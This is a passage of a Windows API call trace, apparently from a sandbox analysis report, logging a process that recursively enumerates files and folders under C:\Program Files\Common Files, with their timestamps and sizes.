nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0233.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0233.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0233.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x2cfe590 | out: lpFindFileData=0x2cfe590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0233.105] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0233.106] GetProcessHeap () returned 0x560000 [0233.106] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3be0048 | out: hHeap=0x560000) returned 1 [0233.177] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0233.178] GetProcessHeap () returned 0x560000 [0233.178] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bd9a80 | out: hHeap=0x560000) returned 1 [0233.178] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0233.179] GetProcessHeap () returned 0x560000 [0233.179] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0233.179] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0233.179] GetProcessHeap () returned 0x560000 [0233.179] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0233.188] FindClose (in: hFindFile=0x599168 | out: hFindFile=0x599168) returned 1 [0233.916] GetProcessHeap () returned 0x560000 [0233.916] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0233.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0233.973] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0233.975] GetProcessHeap () returned 0x560000 [0233.975] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0233.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0233.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0233.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0233.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0233.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2cfe590 | out: lpFindFileData=0x2cfe590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0233.979] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0233.992] GetProcessHeap () returned 0x560000 [0233.992] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0234.007] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0234.008] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0234.010] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0234.010] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0234.605] GetProcessHeap () returned 0x560000 [0234.605] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0234.607] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0234.607] ResetEvent (hEvent=0x118) returned 1 [0234.607] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.412] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0235.412] ResetEvent (hEvent=0x118) returned 1 [0235.412] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.416] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0235.416] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0235.417] GetProcessHeap () returned 0x560000 [0235.417] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3bf0050 | out: hHeap=0x560000) returned 1 [0235.422] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0235.422] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0235.423] GetProcessHeap () returned 0x560000 [0235.423] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3be0048 | out: hHeap=0x560000) returned 1 [0235.424] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0235.424] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0235.426] GetProcessHeap () returned 0x560000 [0235.426] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0235.426] FindNextFileW (in: hFindFile=0x2b74988, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0235.426] GetProcessHeap () returned 0x560000 [0235.427] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b888a8 [0235.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0235.565] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.565] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0235.565] GetProcessHeap () returned 0x560000 [0235.565] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0235.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0235.572] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.572] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0235.573] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0235.574] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.574] GetProcessHeap () returned 0x560000 [0235.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0235.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0235.575] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.759] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0235.759] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0235.759] FindClose (in: hFindFile=0x65bd48 | out: hFindFile=0x65bd48) returned 1 [0235.761] GetProcessHeap () returned 0x560000 [0235.761] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0235.761] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0235.761] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0235.762] ResetEvent (hEvent=0x118) returned 1 [0235.762] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.799] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0235.799] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0235.802] ResetEvent (hEvent=0x118) returned 1 [0235.802] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.806] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0235.807] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0235.807] ResetEvent (hEvent=0x118) returned 1 [0235.807] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0235.814] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, 